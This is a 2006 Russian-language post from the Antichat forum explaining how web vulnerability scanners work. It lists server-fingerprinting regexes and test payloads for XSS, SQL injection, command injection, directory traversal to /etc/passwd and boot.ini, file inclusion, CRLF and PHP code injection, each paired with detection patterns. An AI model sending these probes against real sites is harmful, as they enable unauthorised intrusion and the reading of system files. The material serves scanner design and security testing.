ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Теория сетевых сканеров безопасности
  #1  
Старый 11.06.2006, 16:53
Аватар для DIAgen
DIAgen
Познавший АНТИЧАТ
Регистрация: 02.05.2006
Сообщений: 1,191
Провел на форуме:
7364332

Репутация: 1276


Post Теория сетевых сканеров безопасности

Сколько мне приходилось сталкиваться со сканерами, мне все время было интересно
принцип их работы. Одно время я начал писать свой сканер безопасности на PHP, но из-за
не хватки времени пришлось все заморозить. В это статье я хочу рассказать то, что я
напрограммировал, только я буду приводит основные моменты, так как если приводить все
досконально то это будет не правильно (как мне сказали «если все объяснять по пальцам,
не чего хорошего не будет!» ).
Я считаю, что лучше искать уязвимости ручками!
Я буду приводить только регулярные выражения и запросы, а как это делается, можно
прочитать в любой книжке по программированию!
Определение Веб Сервера
Здесь я долго ломал голову, но как оказывается все гениальное все просто. В ответе сервера
в html-заголовке все содержится, с помощь регулярных выражений можно определить следующие
- Apache 1.3.27:
ищем .*(Apache(-AdvancedExtranetServer)?/(1\.([0-2]\.[0-9].\s|3\.([0-9]\s|[0-1][0-9]\s|2[0-6]\s))))
- Apache 2.x 2.0.43:
ищем .*(Apache(-AdvancedExtranetServer)?/2\.0\.([0-9]\s|[0-3][0-9]\s|4[0-2]\s))
Я не стал приводить полный список регулярных выражений, по двум причинам
1) просто будет бесмыслено занимать место
2) просто нечего сложного нет в регулярных выражения, кому понадобится тот сам сможет
написать, но на крайний случай, если надо будет выложу!

Определение версии PHP и mod_ssl
- PHP 4.3.0: ищем .*(PHP/4\.3\.0\s)
- PHP 5: ищем .*(PHP/5\.5\.0\s)
- Mod_SSL SSL_Util_UUEncode_Binary:
ищем .*(mod_ssl/(1.*\s|2\.([0-7]\..*|8\.([0-9]\s|1[0-7]\s)))).*
- Mod_SSL Log Function:
ищем .*(mod_ssl/(1.*\s|2\.([0-7]\..*|8\.([0-9]\s|1[0-8]\s)))).*
Ну вот все вроде про Веб сервер сказано!
CGI-TEST
Приведу только часть, так как их приличное количество!
- Директория справки Apache: GET /manual/
- Выполнение команд Apache Win32: GET /cgi-bin/test-cgi.bat?|dir
- Информация о сервере Apache: GET /server-info
- Распределение расширения Frontpage:
POST method=open+service%3a3%2e0%2e2%2e1105&service%5fn ame=%2f
в ответе должно быть “FrontPage Server Extensions”
Вроде тут понятно как отправляются запросы и как проверить!

Вот теперь самое интересное:
1) XSS
На атаче можно найти много информации то XSS, из-за этого я приведу только запросы:
<script>alert('xss -${random}')%3B</script>
'><script>alert('xss-${random}')%3B</script>
"><script>alert('xss-${random}')%3B</script>
><script>alert('xss-${random}')%3B</script>
</textarea><script>alert('xss-${random}')%3B</script>
<script>var%20xss=${random}%3Balert(xss_test)%3B </script>
><script>var%20xss_test =${random}%3Balert(xss_test)%3B</script>
</textarea><script>var%20xss_test =${random}%3Balert(xss_test)%3B</script>
--><script>alert('xss-${random}')%3B</script>
email@someemailaddress.com<script>alert('xss-${random}')%3B</script>
[script]alert('xss-${random}')%3B[/script]
%3Cimg%20src%3D%22javascript:alert%28%27xss-${random}%27%29%3B%22%3E

Вроде полный список!
И так, если все удачно вы может найти в тексте
tag=script;textwithin=alert('xss-${random}')\;
tag=script;textwithin=var xss_test=${random}\;alert(xss_test)\;
tag=img;src=javascript:alert('xss-${random}')\;

2) SQL injection
То тем же причинам, что и в первом случай:
'
%27
%2527
"
%00'
'"

С помощью следую регулярных выражений можно найти SQL injection:
(?i)(Line\s\d+:\sIncorrect\ssyntax\snear\s'[^']*')
(?i)(pg_query\(\)[:]*\squery\sfailed:\serror:\s)
(?i)(Microsoft\sJScript\sruntime.*error\s'[^']*')
(?i)('[^']*'\sis\snull\sor\snot\san\sobject)
(?i)(ORA-\d{4,5}:\s)
(?i)(Microsoft\sJET\sDatabase\sEngine\s\([^\)]*\)<br>Syntax\serror
(.*)\sin\squery\sexpression\s'.*\.<br><b>.*,\sline \s\d+</b><br>)
(?i)(<h2>\s<i>Syntax\serror\s(\([^\)]*\))?(in\sstring)?\sin\squery\
sexpression\s'[^\.]*\.</i>\s</h2></span>)
(?i)(<font\sface=\"Arial\"\ssize=2>Syntax\serror\s (.*)?in\squery\sexpression\s'(.*)\.</font>)
Можно искать полный текст:
Microsoft OLE DB Provider for ODBC Drivers
Microsoft OLE DB Provider for SQL Server
You have an error in your SQL syntax
Invalid SQL:
): encountered SQLException [

3) Code execution
Возможность выполнить произвольный код с привилегией сервера
POST или GET запросы
+%26cat%20+/etc/passwd%26
+%0acat%20+/etc/passwd%0a
%26dir%26
%7Cdir
%3Bdir
%26dir

Находим результаты: (.*root:.*:0:[01]:.*)
или найти полную строку
Volume in drive
Volume Serial Number is
Directory of

4) Обход директорий
POST или GET запросы
../../../../../../../../etc/passwd
../../../../../../../../etc/passwd%00
%00../../../../../../../../etc/passwd
../../../../../../../../boot.ini
../../../../../../../../boot.ini%00
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c 0%af%c0%ae%c0%ae%c0%af%c0%ae%
c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0 %ae%c0%ae%c0%afboot.ini

Найти можно вот так (.*root:.*:0:[01]:.*)
5) File inclusion
Можно разделить на два вида это локальный и иклуид с другого сервера
-локальный /какой_нибудь_фаил_длиным_им енем
-внешний http://xxx.com/ какой_нибудь_фаил_длиным_им енем
Тут можно проверить только на ошибку иклуида:
(?i)(<b>Fatal error</b>:.*: Failed opening required '.*some_inexistent_file_with_long_name.*').*
(?i)(<b>Warning</b>:.*: Failed opening '.*some_inexistent_file_with_long_name.*') for inclusion.*

6) Раскрытие исходного кода сценария
Возможно читать исходный текст этого сценария, используя имя файла сценария как параметр.
Найти можно используя:
(<%)
(<\?php)
(^#\!\/.*\/perl)

7) CRLF injection
Инъекция в заголовках через cookie
Запрос
some_url%0d%0aSet-Cookie%3Athis_header%3Dinjected_by
Ищется при помощи
(?i)\n(set-cookie\s*:\s*this_header\s*=\s*injected_by)
8) Cross Frame Scripting
Замена содержания фрейма
Запрос http://www.xxx.com/
Найти можно
tag=iframe;src=http://www.xxx.com/
9) PHP code injection
Выполнение произвольного PHP кода
Парметр: printf(md5(test))%3Bexit%3B//
Находим: 63c19a6da79816b21429e5bb262daed8
10) XPath injection
Получение XML документ, используя XPath запрос, в котором может содержаться информация из базы даных
Параметр: '
Ищем:
(?i)(<b>\sException\sDetails:\s</b>System\.Xml\.XPath\.XPathException:
\s'.*'\shas\san\sinvalid\stoken\.<br><br>)
(?i)(<b>\sException\sDetails:\s</b>System\.Xml\.XPath\.XPathException:
\sThis\sis\san\sunclosed\sstring\.<br><br>)


Про детальное описание каждой уязвимости можно найти в Интернете!
Вот и все вроде, я не стали писать про как можно найти Backup файлы
и определенный файлы (известные файлы и папки например “admin” и т.д).
Если будет желание продолжить эту тему обязательно дополню!
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор Сканеров Безопасности Elekt Уязвимости 7 14.05.2008 00:01
В Microsoft сменится вице-президент по вопросам безопасности dinar_007 Мировые новости 0 27.03.2006 16:32
"Лаборатория Касперского" организует конференцию по информационной безопасности... dinar_007 Мировые новости 1 15.03.2006 12:30
Microsoft проведет дополнительный аудит безопасности своего ПО dinar_007 Мировые новости 0 11.01.2006 14:47
Меры защиты информационной безопасности foreva Чужие Статьи 0 06.02.2005 19:33



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ